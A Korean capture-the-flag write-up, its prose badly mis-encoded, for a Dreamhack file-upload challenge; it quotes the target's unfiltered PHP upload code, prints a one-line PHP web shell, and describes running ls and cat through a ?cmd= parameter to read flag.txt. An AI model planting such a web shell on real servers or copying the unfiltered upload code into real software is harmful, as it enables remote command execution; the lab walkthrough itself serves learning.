https://dreamhack.io/wargame/challenges/38/

ν΄λΉ λ¬Έμ λ νμΌ μ
λ‘λ μ·¨μ½μ μ μ¬μ©ν΄ νλκ·Έλ₯Ό νλνλ λ¬Έμ μ΄λ€.
μ£Όμ μ½λλ₯Ό μ΄ν΄λ³΄λ©΄

<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
$directoryμ μλ νμΌ λͺ©λ‘ μ€ '..', '.', 'index.html'μ μ μΈνκ³ μΆλ ₯νλ€.

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
νμΌ μ λ‘λμ λν μ λ°μ μΈ λΆλΆμ λ΄λΉνλ μ½λμ΄λ©°, μ€λ₯κ° λ¬μ λλ error, κ°μ μ΄λ¦μ νμΌμ΄ μ‘΄μ¬ν λλ already exists., κ·Έλ¦¬κ³ μμ λ κ²½μ°κ° μλ κ²½μ°μλ νμΌ μ λ‘λκ° κ°λ₯νλ€.
λ€λ§, νμΌ μ λ‘λλ μ΄λ€ νν°λ§ μμ΄ λͺ¨λ νμΌμ μ λ‘λν μ μλλ‘ μ§μ¬μ Έ μλ€.
λ±ν νμΌμ λν νν°λ§μ΄ μκΈ° λλ¬Έμ μΉ μμ μ¬μ©ν΄ λ°λ‘ μ§μ
ν μ μλ€.
webshell.phpλΌλ νμΌμ λ§λ€μ΄ μλμ κ°μ΄ μ½λλ₯Ό μμ±νλ€.
<?php
system($_GET[cmd]);
?>
μ΄ νμΌμ μ¬μ΄νΈμ μ
λ‘λ νλ©΄ λͺ
λ Ήμ΄λ₯Ό μ¬μ©ν΄ νλκ·Έμ μ κ·Όμ΄ κ°λ₯νλ€.
/list νμ΄μ§μ κ°λ³΄λ©΄ μ°λ¦¬κ° μ
λ‘λν νμΌμ΄ μλ€.

μ΄ νμΌμ ν΄λ¦νλ©΄ ν΄λΉ νμ΄μ§λ‘ μ΄λν μ μλ€.
κ°λ¨ν μ΄λνκ³ μΆμΌλ©΄ /uplode λλ ν°λ¦¬μ ν΄λΉ νμΌμ΄ μλ κ²μ μ½λλ₯Ό ν΅ν΄ νμΈνμΌλ―λ‘ /uplode/webshell.phpλ‘ μ΄λν μ μλ€.
μ°λ¦¬κ° μ
λ‘λν μΉ μμ μ¬μ©νλ λ°©λ²μ κ°λ¨νλ€.
ν΄λΉ νμ΄μ§μ ?cmd=<λͺ
λ Ήμ΄>λ₯Ό μ
λ ₯νλ©΄ λλ€.
μλ₯Ό λ€μ΄ lsλͺ
λ Ήμ΄λ₯Ό μ¬μ©νκΈ° μν΄μλ ?cmd=lsλ₯Ό url λ€μ λΆμ¬μ£Όλ©΄ λλ€.

λ€μκ³Ό κ°μ΄ ls λͺ
λ Ήμ΄κ° μ μμ μΌλ‘ μλλμλ€.
μ΄μ νλκ·Έ νμΌμ μ°Ύμ보μ

4κ°μ μμ λλ ν°λ¦¬λ₯Ό κ±°μΉλ©΄ flag.txtκ° μλ κ²μ΄ 보μΈλ€.
cat λͺ
λ Ήμ΄λ₯Ό ν΅ν΄ νλκ·Έλ₯Ό μμλΌ μ μλ€.
